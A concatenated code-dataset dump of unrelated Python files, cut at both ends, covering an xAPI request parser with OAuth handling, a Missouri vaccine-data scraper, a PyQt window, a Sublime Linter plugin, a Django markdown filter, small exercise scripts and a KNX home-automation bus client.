bdy.pop('X-Experience-API-Version', None)\n bdy.pop('Content-Type', None)\n bdy.pop('If-Match', None)\n bdy.pop('If-None-Match', None)\n \n # all that should be left are params for the request, \n # we adds them to the params object\n r_dict['params'].update(bdy)\n for k in request.GET:\n if k == 'method': # make sure the method param goes in the special method spot\n r_dict[k] = request.GET[k]\n else:\n r_dict['params'][k] = request.GET[k]\n # Just parse body for all non IE CORS stuff\n else:\n r_dict = parse_body(r_dict, request)\n # Update dict with any GET data\n r_dict['params'].update(request.GET.dict())\n\n # Method gets set for cors already\n if 'method' not in r_dict:\n # Differentiate GET and POST\n if request.method == \"POST\" and (request.path[6:] == 'statements' or request.path[6:] == 'statements/'):\n # Can have empty body for POST (acts like GET)\n if 'body' in r_dict:\n # If body is a list, it's a post\n if not isinstance(r_dict['body'], list):\n if not isinstance(r_dict['body'], dict):\n raise BadRequest(\"Cannot evaluate data into dictionary to parse -- Error: %s\" % r_dict['body'])\n # If actor verb and object not in body - means it's a GET or invalid POST\n if not ('actor' in r_dict['body'] and 'verb' in r_dict['body'] and 'object' in r_dict['body']):\n # If body keys are in get params - GET - else invalid request\n if set(r_dict['body'].keys()).issubset(['statementId', 'voidedStatementId', 'agent', 'verb', 'activity', 'registration',\n 'related_activities', 'related_agents', 'since', 'until', 'limit', 'format', 'attachments', 'ascending']):\n r_dict['method'] = 'GET'\n else:\n raise BadRequest(\"Statement is missing actor, verb, or object\")\n else:\n r_dict['method'] = 'POST'\n else:\n r_dict['method'] = 'POST'\n else:\n r_dict['method'] = 'GET'\n else:\n r_dict['method'] = request.method\n\n # Set if someone is hitting the statements/more endpoint\n if more_id:\n r_dict['more_id'] = more_id\n return r_dict\n\ndef set_authorization(r_dict, request):\n auth_params = r_dict['headers']['Authorization']\n # OAuth1 and basic http auth come in as string\n r_dict['auth']['endpoint'] = get_endpoint(request)\n if auth_params[:6] == 'OAuth ':\n oauth_request = get_oauth_request(request)\n \n # Returns HttpBadRequest if missing any params\n missing = require_params(oauth_request) \n if missing:\n raise missing\n\n check = CheckOauth()\n e_type, error = check.check_access_token(request)\n\n if e_type and error:\n if e_type == 'auth':\n raise OauthUnauthorized(error)\n else:\n raise OauthBadRequest(error)\n\n # Consumer and token should be clean by now\n consumer = store.get_consumer(request, oauth_request, oauth_request['oauth_consumer_key'])\n token = store.get_access_token(request, oauth_request, consumer, oauth_request.get_parameter('oauth_token'))\n \n # Set consumer and token for authentication piece\n r_dict['auth']['oauth_consumer'] = consumer\n r_dict['auth']['oauth_token'] = token\n r_dict['auth']['type'] = 'oauth'\n elif auth_params[:7] == 'Bearer ':\n try:\n access_token = AccessToken.objects.get(token=auth_params[7:])\n except AccessToken.DoesNotExist:\n raise OauthUnauthorized(\"Access Token does not exist\")\n else:\n if access_token.get_expire_delta() <= 0:\n raise OauthUnauthorized('Access Token has expired')\n r_dict['auth']['oauth_token'] = access_token\n r_dict['auth']['type'] = 'oauth2'\n else: \n r_dict['auth']['type'] = 'http' \n\n\ndef get_endpoint(request):\n # Used for OAuth scope\n endpoint = request.path[5:]\n # Since we accept with or without / on end\n if endpoint.endswith(\"/\"):\n return endpoint[:-1]\n return endpoint \n\ndef parse_attachment(r, request):\n # Email library insists on having the multipart header in the body - workaround\n message = request.body\n if 'boundary' not in message[:message.index(\"--\")]:\n if 'boundary' in request.META['CONTENT_TYPE']:\n message = \"Content-Type:\" + request.META['CONTENT_TYPE'] + \"\\r\\n\" + message\n else:\n raise BadRequest(\"Could not find the boundary for the multipart content\")\n\n msg = email.message_from_string(message)\n if msg.is_multipart():\n parts = msg.get_payload()\n stmt_part = parts.pop(0)\n if stmt_part['Content-Type'] != \"application/json\":\n raise ParamError(\"Content-Type of statement was not application/json\")\n\n try:\n r['body'] = json.loads(stmt_part.get_payload())\n except Exception:\n raise ParamError(\"Statement was not valid JSON\")\n\n # Find the signature sha2 from the list attachment values in the statements (there should only be one)\n if isinstance(r['body'], list):\n signature_att = list(itertools.chain(*[[a.get('sha2', None) for a in s['attachments'] if a.get('usageType', None) == \"http://adlnet.gov/expapi/attachments/signature\"] for s in r['body'] if 'attachments' in s]))\n else: \n signature_att = [a.get('sha2', None) for a in r['body']['attachments'] if a.get('usageType', None) == \"http://adlnet.gov/expapi/attachments/signature\" and 'attachments' in r['body']]\n\n # Get all sha2s from the request\n payload_sha2s = [p.get('X-Experience-API-Hash', None) for p in msg.get_payload()]\n # Check each sha2 in payload, if even one of them is None then there is a missing hash\n for sha2 in payload_sha2s:\n if not sha2:\n raise BadRequest(\"X-Experience-API-Hash header was missing from attachment\")\n\n # Check the sig sha2 in statements if it not in the payload sha2s then the sig sha2 is missing\n for sig in signature_att:\n if sig:\n if sig not in payload_sha2s:\n raise BadRequest(\"Signature attachment is missing from request\")\n else:\n raise BadRequest(\"Signature attachment is missing from request\") \n\n # We know all sha2s are there so set it and loop through each payload\n r['payload_sha2s'] = payload_sha2s\n for part in msg.get_payload():\n xhash = part.get('X-Experience-API-Hash')\n c_type = part['Content-Type']\n # Payloads are base64 encoded implictly from email lib (except for plaintext)\n if \"text/plain\" in c_type:\n payload = b64encode(part.get_payload())\n else:\n payload = part.get_payload()\n att_cache.set(xhash, payload)\n else:\n raise ParamError(\"This content was not multipart for the multipart request.\")\n # See if the posted statements have attachments\n att_stmts = []\n if isinstance(r['body'], list):\n for s in r['body']:\n if 'attachments' in s:\n att_stmts.append(s)\n elif 'attachments' in r['body']:\n att_stmts.append(r['body'])\n if att_stmts:\n # find if any of those statements with attachments have a signed statement\n signed_stmts = [(s,a) for s in att_stmts for a in s.get('attachments', None) if a['usageType'] == \"http://adlnet.gov/expapi/attachments/signature\"]\n for ss in signed_stmts:\n attmnt = b64decode(att_cache.get(ss[1]['sha2']))\n jws = JWS(jws=attmnt)\n try:\n if not jws.verify() or not jws.validate(ss[0]):\n raise BadRequest(\"The JSON Web Signature is not valid\")\n except JWSException as jwsx:\n raise BadRequest(jwsx)\n\ndef parse_body(r, request):\n if request.method == 'POST' or request.method == 'PUT':\n # Parse out profiles/states if the POST dict is not empty\n if 'multipart/form-data' in request.META['CONTENT_TYPE']:\n if request.POST.dict().keys():\n r['params'].update(request.POST.dict())\n parser = MultiPartParser(request.META, StringIO.StringIO(request.raw_post_data),request.upload_handlers)\n post, files = parser.parse()\n r['files'] = files\n # If it is multipart/mixed, parse out all data\n elif 'multipart/mixed' in request.META['CONTENT_TYPE']: \n parse_attachment(r, request)\n # Normal POST/PUT data\n else:\n if request.body:\n # profile uses the request body\n r['raw_body'] = request.body\n # Body will be some type of string, not necessarily JSON\n r['body'] = convert_to_dict(request.body)\n else:\n raise BadRequest(\"No body in request\")\n return r\n\ndef get_headers(headers):\n r = {}\n if 'HTTP_UPDATED' in headers:\n try:\n r['updated'] = parse_datetime(headers['HTTP_UPDATED'])\n except (Exception, ISO8601Error):\n raise ParamError(\"Updated header was not a valid ISO8601 timestamp\") \n elif 'updated' in headers:\n try:\n r['updated'] = parse_datetime(headers['updated'])\n except (Exception, ISO8601Error):\n raise ParamError(\"Updated header was not a valid ISO8601 timestamp\")\n\n r['CONTENT_TYPE'] = headers.get('CONTENT_TYPE', '')\n if r['CONTENT_TYPE'] == '' and 'Content-Type' in headers:\n r['CONTENT_TYPE'] = headers['Content-Type']\n # FireFox automatically adds ;charset=foo to the end of headers. This will strip it out\n if ';' in r['CONTENT_TYPE']:\n r['CONTENT_TYPE'] = r['CONTENT_TYPE'].split(';')[0]\n\n r['ETAG'] = get_etag_info(headers, required=False)\n if 'HTTP_AUTHORIZATION' in headers:\n r['Authorization'] = headers.get('HTTP_AUTHORIZATION', None)\n elif 'Authorization' in headers:\n r['Authorization'] = headers.get('Authorization', None)\n\n if 'Accept_Language' in headers:\n r['language'] = headers.get('Accept_Language', None)\n elif 'Accept-Language' in headers:\n r['language'] = headers['Accept-Language']\n\n if 'X-Experience-API-Version' in headers:\n r['X-Experience-API-Version'] = headers['X-Experience-API-Version']\n return r\n","sub_path":"lrs/util/req_parse.py","file_name":"req_parse.py","file_ext":"py","file_size_in_byte":13544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"92352600","text":"import pandas as pd\nimport us\n\nfrom can_tools.scrapers import variables\nfrom can_tools.scrapers.official.base import TableauDashboard\n\n\nclass MissouriVaccineCounty(TableauDashboard):\n has_location = False\n source = \"https://results.mo.gov/t/COVID19/views/VaccinationsDashboard/Vaccinations\"\n source_name = \"Missouri Department of Health & Senior Services\"\n state_fips = int(us.states.lookup(\"Missouri\").fips)\n location_type = \"county\"\n baseurl = \"https://results.mo.gov/t/COVID19\"\n viewPath = \"VaccinationsDashboard/Vaccinations\"\n data_tableau_table = \"County - Table\"\n\n def normalize(self, data: pd.DataFrame) -> pd.DataFrame:\n cmus = {\n \"COVID-19 Vaccine Regimen Initiated\": variables.INITIATING_VACCINATIONS_ALL,\n \"COVID-19 Vaccine Regimen Completed\": variables.FULLY_VACCINATED_ALL,\n }\n non_counties = [\"St. Louis City\", \"Kansas City\", \"Joplin\"] # noqa\n return (\n data.rename(\n columns={\n \"Measure Values-alias\": \"value\",\n \"Measure Names-alias\": \"variable\",\n \"Jurisdiction-value\": \"location_name\",\n }\n )\n .loc[:, [\"value\", \"variable\", \"location_name\"]]\n .pipe(lambda x: x.loc[x.variable.isin(cmus.keys()), :])\n .assign(\n dt=self._retrieve_dt(\"US/Central\"),\n vintage=self._retrieve_vintage(),\n value=lambda x: x[\"value\"].astype(str).str.replace(\",\", \"\").astype(int),\n location_name=lambda x: x[\"location_name\"].replace(\n {\"NewMadrid\": \"New Madrid\"}\n ),\n )\n .query(\"location_name not in @non_counties\")\n .pipe(self.extract_CMU, cmu=cmus)\n .drop([\"variable\"], axis=\"columns\")\n )\n","sub_path":"can_tools/scrapers/official/MO/mo_vaccine.py","file_name":"mo_vaccine.py","file_ext":"py","file_size_in_byte":1845,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"237022927","text":"from PyQt5.QtWidgets import QMainWindow\nimport PyQt5.QtCore as QtCore\n\nfrom visualization.settings import colors\nfrom visualization.widgets import *\n\n\nclass VisApp(QMainWindow):\n \"\"\"\n Main QT application window\n \"\"\"\n def __init__(self):\n super().__init__()\n self.title = \"Visualization!\"\n\n # Define the initial position of the window\n self.left = 100\n self.top = 100\n\n # Define the windw size\n self.width = 640\n self.height = 480\n\n # Setup tabs\n self.tab_widget = TabDock(self)\n\n self.init_ui()\n\n def init_ui(self):\n \"\"\"\n Helper method for setting up UI\n \"\"\"\n self.setWindowTitle(self.title)\n\n # Setup color\n self.setStyleSheet(f\"background-color: {colors['prim']}\")\n\n # Set positions\n self.setGeometry(self.left, self.top, self.width, self.height)\n\n self.statusBar().showMessage(\"status bar thing\")\n\n # Setup configure widget\n configure = ConfigureTab(self)\n self.tab_widget.addTab(configure, \"Configure\")\n\n # Setup visualize widget\n visualize = VisualizeTab(self)\n self.tab_widget.addTab(visualize, \"Visualize\")\n\n # Display the app\n self.show()\n\n def resizeEvent(self, event):\n \"\"\"\n Resize override method\n\n :param event:\n :return:\n \"\"\"\n # Call parent resize event\n super().resizeEvent(event)\n\n # Define a content rectangle to handle resize events with\n cr = self.contentsRect()\n\n # Set the widget to fill the entire window\n self.tab_widget.setGeometry(\n QtCore.QRect(cr.left(), cr.top(), cr.width(), cr.height()))\n","sub_path":"visualization/visualization_app.py","file_name":"visualization_app.py","file_ext":"py","file_size_in_byte":1719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"141878540","text":"import sublime\nimport sublime_plugin\n\nfrom collections import defaultdict\n\nfrom .lint import persist\nfrom .lint import events\n\n\nSTATUS_COUNTER_KEY = \"sublime_linter_status_counter\"\nSTATUS_MSG_KEY = \"sublime_linter_status_messages\"\n\nState = {\n 'active_view': None,\n 'current_pos': (-1, -1),\n 'errors_per_line': defaultdict(list)\n}\n\n\ndef plugin_loaded():\n State.update({\n 'active_view': sublime.active_window().active_view()\n })\n\n\ndef plugin_unloaded():\n events.off(on_lint_result)\n for window in sublime.windows():\n for view in window.views():\n view.erase_status(STATUS_COUNTER_KEY)\n view.erase_status(STATUS_MSG_KEY)\n\n\n@events.on(events.LINT_RESULT)\ndef on_lint_result(buffer_id, **kwargs):\n active_view = State['active_view']\n if active_view.buffer_id() == buffer_id:\n State.update({\n 'errors_per_line': errors_per_line(persist.errors[buffer_id]),\n })\n\n draw(**State)\n\n\nclass UpdateState(sublime_plugin.EventListener):\n # Fires once per view with the actual view, not necessary the primary\n def on_activated_async(self, active_view):\n bid = active_view.buffer_id()\n\n State.update({\n 'active_view': active_view,\n 'errors_per_line': errors_per_line(persist.errors[bid]),\n 'current_pos': get_current_pos(active_view)\n })\n draw(**State)\n\n # Triggers multiple times for each view into the same buffer.\n # But the argument is always the same view, the primary.\n # Activate view via mouse click fires this also, twice per view.\n def on_selection_modified_async(self, view):\n active_view = State['active_view']\n # It is possible that views (e.g. panels) update in the background.\n # So we check here and return early.\n if active_view.buffer_id() != view.buffer_id():\n return\n\n current_pos = get_current_pos(active_view)\n if current_pos != State['current_pos']:\n State.update({\n 'current_pos': current_pos\n })\n draw(**State)\n\n\ndef draw(active_view, current_pos, errors_per_line, **kwargs):\n message = messages_under_cursor(errors_per_line, current_pos)\n if not message:\n active_view.erase_status(STATUS_MSG_KEY)\n elif message != active_view.get_status(STATUS_MSG_KEY):\n active_view.set_status(STATUS_MSG_KEY, message)\n\n\ndef messages_under_cursor(errors, current_pos):\n line, col = current_pos\n msgs = []\n message_template = persist.settings.get('statusbar.messages_template')\n\n if message_template != \"\":\n for error in errors[line]:\n if error[\"start\"] <= col <= error[\"end\"]:\n msgs.append(message_template.format(\n linter=error[\"linter\"],\n type=error[\"error_type\"],\n message=error[\"msg\"],\n code=error[\"code\"]\n ))\n return \"; \".join(msgs)\n else:\n return \"\"\n\n\ndef errors_per_line(errors):\n rv = defaultdict(list)\n for error in errors:\n rv[error['line']].append(error)\n return rv\n\n\ndef get_current_pos(view):\n try:\n return view.rowcol(view.sel()[0].begin())\n except (AttributeError, IndexError):\n return -1, -1\n","sub_path":"status_bar_view.py","file_name":"status_bar_view.py","file_ext":"py","file_size_in_byte":3286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"171354140","text":"# -*- coding:utf8 -*-\n\nimport markdown\nimport mistune\n\nfrom django import template\nfrom django.template.defaultfilters import stringfilter\nfrom django.utils.safestring import mark_safe\n\n\nregister = template.Library() # 自定义filter时必须加上\n\n\n# from markdown.preprocessors import Preprocessor\n# class MyPre(Preprocessor):\n# def run(self, lines):\n# new_lines = []\n# for line in lines:\ndef codeLight(value): # 表格的支持需要完善\n return markdown.markdown(value,\n extensions=[\n # 'markdown.extensions.tables',\n # 'pymdownx.github',\n 'pymdownx.pymdown',\n # 'pymdownx.github',\n 'pymdownx.extra',\n # 'pymdownx.tasklist',\n # 'pymdownx.githubemoji',\n # 'pymdownx.critic',\n # 'pymdownx.inlinehilite',\n\n # 'markdown.extensions.codehilite',\n # 'markdown.extensions.footnotes',\n ],\n safe_mode=True, enable_attributes=False)\n\n\ndef orld_markdown(value):\n renderer = mistune.Renderer(escape=True, hard_wrap=True)\n markdowns = mistune.Markdown(renderer=renderer)\n orld = markdowns(value)\n return orld\n # return mark_safe(codeLight(orld).get_code())\n\n\n@register.filter(is_safe=True) # 注册template filter\n@stringfilter # 希望字符串作为参数\ndef custom_markdown(value): # 代码高亮需要去实现\n return mark_safe(codeLight(value))\n result = ''\n for index, item in enumerate(value.split(\"```\")):\n if index % 2 != 0:\n result = result + codeLight(\"```\" + item + \"```\")\n else:\n result = result + orld_markdown(item)\n return mark_safe(result)\n\n\nclass SetVarNode(template.Node):\n def __init__(self, var_name, var_value):\n self.var_name = var_name\n self.var_value = var_value\n\n def render(self, context):\n try:\n value = template.Variable(self.var_value).resolve(context)\n except template.VariableDoesNotExist:\n value = \"\"\n context[self.var_name] = value\n return u\"\"\n\ndef set_var(parser, token):\n \"\"\"\n {% set = %}\n \"\"\"\n parts = token.split_contents()\n if len(parts) < 4:\n raise template.TemplateSyntaxError(\"'set' tag must be of the form: {% set = %}\")\n return SetVarNode(parts[1], parts[3])\n\nregister.tag('set',set_var)","sub_path":"blog/templatetags/custom_markdowm.py","file_name":"custom_markdowm.py","file_ext":"py","file_size_in_byte":2703,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"86358414","text":"import math\n\ndef calcula_tempo(dic_atletas):\n dic_tempo_atletas = {}\n for nome, aceleracao in dic_atletas.items(): #quando se usa o items(), o primeiro \"nome\" é a chave a segunda \"aceleracao\" é o valor\n dic_tempo_atletas[nome] = math.sqrt(200/aceleracao)\n\n return dic_tempo_atletas\n\n\ndic_atletas_velocidades = {}\n\nwhile(True):\n nome_atleta = input(\"Digite o nome do atleta: \")\n if (nome_atleta==\"sair\"):\n break\n velocidade_atleta = float(input(\"Digite a velocidade do atleta: \"))\n dic_atletas_velocidades[nome_atleta] = velocidade_atleta\n\ndic_atletas_tempo = calcula_tempo(dic_atletas_velocidades)\n\nmenor = list(dic_atletas_tempo.values())[0]\n\nfor tempo in dic_atletas_tempo.values():\n if (tempo < menor):\n menor = tempo\n\nprint(dic_atletas_tempo)\nprint(menor)\n\n\nfor nome, valor in dic_atletas_tempo.items():\n vencedor = \"\"\n if valor == menor:\n vencedor = nome\n\nprint(\"O vencedor é {0} com tempo de conclusão de {1} s\".format(vencedor, menor))","sub_path":"backup/user_097/ch78_2019_10_02_16_05_11_032214.py","file_name":"ch78_2019_10_02_16_05_11_032214.py","file_ext":"py","file_size_in_byte":1006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"321914531","text":"import sys\nfrom collections import deque\n\nsys.stdin = open(\"input.txt\",\"r\")\n\nn = int(sys.stdin.readline().rstrip())\nk = int(sys.stdin.readline().rstrip())\n\nboard = [[0 for i in range(n)] for j in range(n)]\n#북/동/남/서 & 왼/오\ndirection = {(-1,0):[(0,-1),(0,1)], (0,1):[(-1,0),(1,0)],(1,0):[(0,1),(0,-1)],(0,-1):[(1,0),(-1,0)]}\n\ndef inRange(a,b):\n if 0<=a 0 and time == change[0][0]:\n x,c = change.popleft()\n if c == 'L':\n dir = direction[dir][0]\n else:\n dir = direction[dir][1]\n nextPos = (current[0][0] + dir[0], current[0][1] + dir[1])\n time +=1\n if inRange(nextPos[0],nextPos[1]) == False or check[nextPos[0]][nextPos[1]] == 1:\n print(time)\n break\n if board[nextPos[0]][nextPos[1]] == 1:\n current.appendleft(nextPos)\n board[nextPos[0]][nextPos[1]] = 0\n check[nextPos[0]][nextPos[1]] = 1\n else:\n current.appendleft(nextPos)\n prev = current.pop()\n check[nextPos[0]][nextPos[1]] = 1\n check[prev[0]][prev[1]] = 0\n\n","sub_path":"뱀.py","file_name":"뱀.py","file_ext":"py","file_size_in_byte":1540,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"94976348","text":"#!/usr/bin/env python3\n#########################################################################\n# Copyright 2012-2013 Marcus Popp marcus@popp.mx\n#########################################################################\n# This code was part of SmartHome.py. http://mknx.github.io/smarthome/\n#\n#########################################################################\n\n\nimport logging\nfrom threading import Thread\nimport struct\nimport binascii\nimport socket\nimport collections\nimport threading\nimport select\nimport time\n\nfrom knxpy.util import default_callback, encode_ga, decode_pa, encode_dpt, Message\n\n\nKNXREAD = 0x00\nKNXRESP = 0x40\nKNXWRITE = 0x80\n\nlogger = logging.getLogger(__name__)\n\n\nclass Base:\n _poller = None\n _family = {'UDP': socket.AF_INET, 'UDP6': socket.AF_INET6, 'TCP': socket.AF_INET, 'TCP6': socket.AF_INET6}\n _type = {'UDP': socket.SOCK_DGRAM, 'UDP6': socket.SOCK_DGRAM, 'TCP': socket.SOCK_STREAM, 'TCP6': socket.SOCK_STREAM}\n _monitor = []\n\n def __init__(self, monitor=False):\n self._name = self.__class__.__name__\n if monitor:\n self._monitor.append(self)\n\n def _create_socket(self, flags=None):\n family, type, proto, canonname, sockaddr = socket.getaddrinfo(self._host, self._port,\n family=self._family[self._proto],\n type=self._type[self._proto])[0]\n self.socket = socket.socket(family, type, proto)\n return sockaddr\n\n\nclass Connections(Base):\n\n _connections = {}\n _servers = {}\n _ro = select.EPOLLIN | select.EPOLLHUP | select.EPOLLERR\n _rw = _ro | select.EPOLLOUT\n\n def __init__(self):\n Base.__init__(self)\n Base._poller = self\n self._epoll = select.epoll()\n\n def register_server(self, fileno, obj):\n self._servers[fileno] = obj\n self._connections[fileno] = obj\n self._epoll.register(fileno, self._ro)\n\n def register_connection(self, fileno, obj):\n self._connections[fileno] = obj\n self._epoll.register(fileno, self._ro)\n\n def unregister_connection(self, fileno):\n try:\n self._epoll.unregister(fileno)\n del(self._connections[fileno])\n del(self._servers[fileno])\n except:\n pass\n\n def monitor(self, obj):\n self._monitor.append(obj)\n\n def check(self):\n for obj in self._monitor:\n if not obj.connected:\n obj.connect()\n\n def trigger(self, fileno):\n if self._connections[fileno].outbuffer:\n self._epoll.modify(fileno, self._rw)\n\n def poll(self, callback=None):\n time.sleep(0.0000000001) # give epoll.modify a chance\n if not self._connections:\n time.sleep(1)\n return\n for fileno in self._connections:\n if fileno not in self._servers:\n if self._connections[fileno].outbuffer:\n self._epoll.modify(fileno, self._rw)\n else:\n self._epoll.modify(fileno, self._ro)\n for fileno, event in self._epoll.poll(timeout=1):\n if fileno in self._servers:\n server = self._servers[fileno]\n server.handle_connection()\n else:\n if event & select.EPOLLIN:\n try:\n con = self._connections[fileno]\n con._in(callback=callback)\n except Exception as e: # noqa\n logger.exception(e)\n con.close()\n continue\n if event & select.EPOLLOUT:\n try:\n con = self._connections[fileno]\n con._out()\n except Exception as e: # noqa\n logger.exception(e)\n con.close()\n continue\n if event & (select.EPOLLHUP | select.EPOLLERR):\n try:\n con = self._connections[fileno]\n con.close()\n continue\n except:\n pass\n\n def close(self):\n for fileno in self._connections:\n try:\n self._connections[fileno].close()\n except:\n pass\n\n\nclass Stream(Base):\n\n def __init__(self, sock=None, address=None, monitor=False):\n Base.__init__(self, monitor=monitor)\n self.connected = False\n self.address = address\n self.inbuffer = bytearray()\n self.outbuffer = collections.deque()\n self._frame_size_in = 4096\n self._frame_size_out = 4096\n self.terminator = b'\\r\\n'\n self._balance_open = False\n self._balance_close = False\n self._close_after_send = False\n if sock is not None:\n self.socket = sock\n self._connected()\n\n def _connected(self):\n self._poller.register_connection(self.socket.fileno(), self)\n self.connected = True\n self.handle_connect()\n\n def _in(self, callback=None):\n max_size = self._frame_size_in\n try:\n data = self.socket.recv(max_size)\n except Exception as e: # noqa\n logger.exception(e)\n self.close()\n return\n if data == b'':\n self.close()\n return\n self.inbuffer.extend(data)\n while True:\n terminator = self.terminator\n buffer_len = len(self.inbuffer)\n if not terminator:\n if not self._balance_open:\n break\n index = self._is_balanced()\n if index:\n data = self.inbuffer[:index]\n self.inbuffer = self.inbuffer[index:]\n self.found_balance(data)\n else:\n break\n elif isinstance(terminator, int):\n if buffer_len < terminator:\n break\n else:\n data = self.inbuffer[:terminator]\n self.inbuffer = self.inbuffer[terminator:]\n self.terminator = 0\n self.found_terminator(data, callback=callback)\n else:\n if terminator not in self.inbuffer:\n break\n index = self.inbuffer.find(terminator)\n data = self.inbuffer[:index]\n cut = index + len(terminator)\n self.inbuffer = self.inbuffer[cut:]\n self.found_terminator(data, callback=callback)\n\n def _is_balanced(self):\n stack = []\n for index, char in enumerate(self.inbuffer):\n if char == self._balance_open:\n stack.append(char)\n elif char == self._balance_close:\n stack.append(char)\n if stack.count(self._balance_open) < stack.count(self._balance_close):\n logger.warning(\"{}: unbalanced input!\".format(self._name))\n logger.close()\n return False\n if stack.count(self._balance_open) == stack.count(self._balance_close):\n return index + 1\n return False\n\n def _out(self):\n while self.outbuffer and self.connected:\n frame = self.outbuffer.pop()\n if not frame:\n if frame is None:\n self.close()\n return\n continue # ignore empty frames\n try:\n sent = self.socket.send(frame)\n except socket.error:\n # logger.exception(\"{}: {}\".format(self._name, e))\n self.outbuffer.append(frame)\n return\n else:\n if sent < len(frame):\n self.outbuffer.append(frame[sent:])\n if self._close_after_send:\n self.close()\n\n def balance(self, bopen, bclose):\n self._balance_open = ord(bopen)\n self._balance_close = ord(bclose)\n\n def close(self):\n if self.connected:\n logger.debug(\"{}: closing socket {}\".format(self._name, self.address))\n self.connected = False\n try:\n self._poller.unregister_connection(self.socket.fileno())\n except:\n pass\n try:\n self.handle_close()\n except:\n pass\n try:\n self.socket.shutdown(socket.SHUT_RDWR)\n except:\n pass\n try:\n self.socket.close()\n except:\n pass\n try:\n del self.socket\n except:\n pass\n\n def discard_buffers(self):\n self.inbuffer = bytearray()\n self.outbuffer.clear()\n\n def found_terminator(self, data, callback=None):\n pass\n\n def found_balance(self, data):\n pass\n\n def handle_close(self):\n pass\n\n def handle_connect(self):\n pass\n\n def send(self, data, close=False):\n self._close_after_send = close\n if not self.connected:\n return False\n frame_size = self._frame_size_out\n if len(data) > frame_size:\n for i in range(0, len(data), frame_size):\n self.outbuffer.appendleft(data[i:i + frame_size])\n else:\n self.outbuffer.appendleft(data)\n self._poller.trigger(self.socket.fileno())\n\n if not self.alive:\n # flush the out buffer if not running the listen loop\n self._out()\n return True\n\n\nclass Client(Stream):\n\n def __init__(self, host, port, proto='TCP', monitor=False):\n Stream.__init__(self, monitor=monitor)\n self._host = host\n self._port = port\n self._proto = proto\n self.address = \"{}:{}\".format(host, port)\n self._connection_attempts = 0\n self._connection_errorlog = 60\n self._connection_lock = threading.Lock()\n\n def connect(self):\n self._connection_lock.acquire()\n if self.connected:\n self._connection_lock.release()\n return\n try:\n sockaddr = self._create_socket()\n self.socket.settimeout(2)\n self.socket.connect(sockaddr)\n self.socket.setblocking(0)\n # self.socket.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)\n except Exception as e:\n self._connection_attempts -= 1\n if self._connection_attempts <= 0:\n logger.error(\"could not connect to {} ({}): {}\".format(self.address, self._proto, e))\n self._connection_attempts = self._connection_errorlog\n self.close()\n else:\n logger.debug(\"connected to {}\".format(self.address))\n self._connected()\n finally:\n self._connection_lock.release()\n\n\nclass KNXD(Client):\n\n def __init__(self, ip='localhost', port=6720):\n super().__init__(ip, str(port), monitor=True)\n self.connections = Connections()\n\n self.gar = {}\n # self._init_ga = []\n # self._cache_ga = []\n self._lock = threading.Lock()\n # self._busmonitor = logger.debug\n self.found_terminator = None\n self.alive = None\n\n def _send(self, data):\n if len(data) < 2 or len(data) > 0xffff:\n logger.debug('illegal data size: {}'.format(repr(data)))\n return False\n # prepend data length\n send = bytearray(len(data).to_bytes(2, byteorder='big'))\n send.extend(data)\n self.send(send)\n\n def group_write(self, ga, data, dpt=None, flag='write'):\n pkt = bytearray([0, 39])\n if type(ga) is str:\n addr = encode_ga(ga)\n else:\n addr = ga\n if dpt is not None:\n data = encode_dpt(data, dpt)\n else:\n data = [data]\n\n pkt.extend(addr.to_bytes(2, byteorder='big'))\n pkt.extend([0])\n pkt.extend(data)\n\n if flag == 'write':\n flag = KNXWRITE\n elif flag == 'response':\n flag = KNXRESP\n else:\n logger.warning(\"groupwrite telegram for {0} with unknown flag: {1}. \"\n \"Please choose beetween write and response.\".format(ga, flag))\n return\n pkt[5] = flag | pkt[5]\n self._send(pkt)\n\n def group_read(self, ga):\n if type(ga) is str:\n addr = encode_ga(ga)\n else:\n addr = ga\n pkt = bytearray([0, 39])\n pkt.extend(addr.to_bytes(2, byteorder='big'))\n pkt.extend([0, KNXREAD])\n self._send(pkt)\n\n def handle_connect(self):\n self.discard_buffers()\n enable_cache = bytearray([0, 112])\n self._send(enable_cache)\n self.found_terminator = self.parse_length\n init = bytearray([0, 38, 0, 0, 0])\n self._send(init)\n self.terminator = 2\n\n def parse_length(self, length, callback=None):\n self.found_terminator = self.parse_telegram\n try:\n self.terminator = struct.unpack(\">H\", length)[0]\n except:\n logger.error(\"KNX: problem unpacking length: {0}\".format(length))\n self.close()\n\n def parse_telegram(self, data, callback=None):\n self.found_terminator = self.parse_length # reset parser and terminator\n self.terminator = 2\n # 2 byte type\n # 2 byte src\n # 2 byte dst\n # 2 byte command/data\n # x byte data\n typ = struct.unpack(\">H\", data[0:2])[0]\n if (typ != 39 and typ != 116) or len(data) < 8:\n # logger.debug(\"Ignore telegram.\")\n return\n if data[6] & 0x03 or (data[7] & 0xC0) == 0xC0:\n logger.debug(\"Unknown APDU\")\n return\n\n src = decode_pa(data[2:4])\n dst = struct.unpack(\">H\", data[4:6])[0]\n\n flg = data[7] & 0xC0\n if flg == KNXWRITE:\n flg = 'write'\n elif flg == KNXREAD:\n flg = 'read'\n elif flg == KNXRESP:\n flg = 'response'\n else:\n logger.warning(\"Unknown flag: {0:02x} src: {1} dest: {2}\".format(flg, src, dst))\n return\n if len(data) == 8:\n val = data[7] & 0x3f\n else:\n val = data[8:]\n if flg == 'write' or flg == 'response':\n msg = Message(src, dst, flg, val)\n callback(msg)\n\n # elif flg == 'read':\n # logger.debug(\"KNX: {0} read {1}\".format(src, dst))\n # if dst in self.gar: # read item\n # if self.gar[dst]['item'] is not None:\n # item = self.gar[dst]['item']\n # self.group_write(dst, item(), item.conf['knx_dpt'], 'response')\n # if self.gar[dst]['logic'] is not None:\n # self.gar[dst]['logic'].trigger('KNX', src, 'read', dst)\n\n def run(self):\n self.alive = True\n\n def stop(self):\n self.alive = False\n self.handle_close()\n\n def listen(self, callback=None):\n \"\"\"\n Listen for messages on a knx server.\n \"\"\"\n if callback 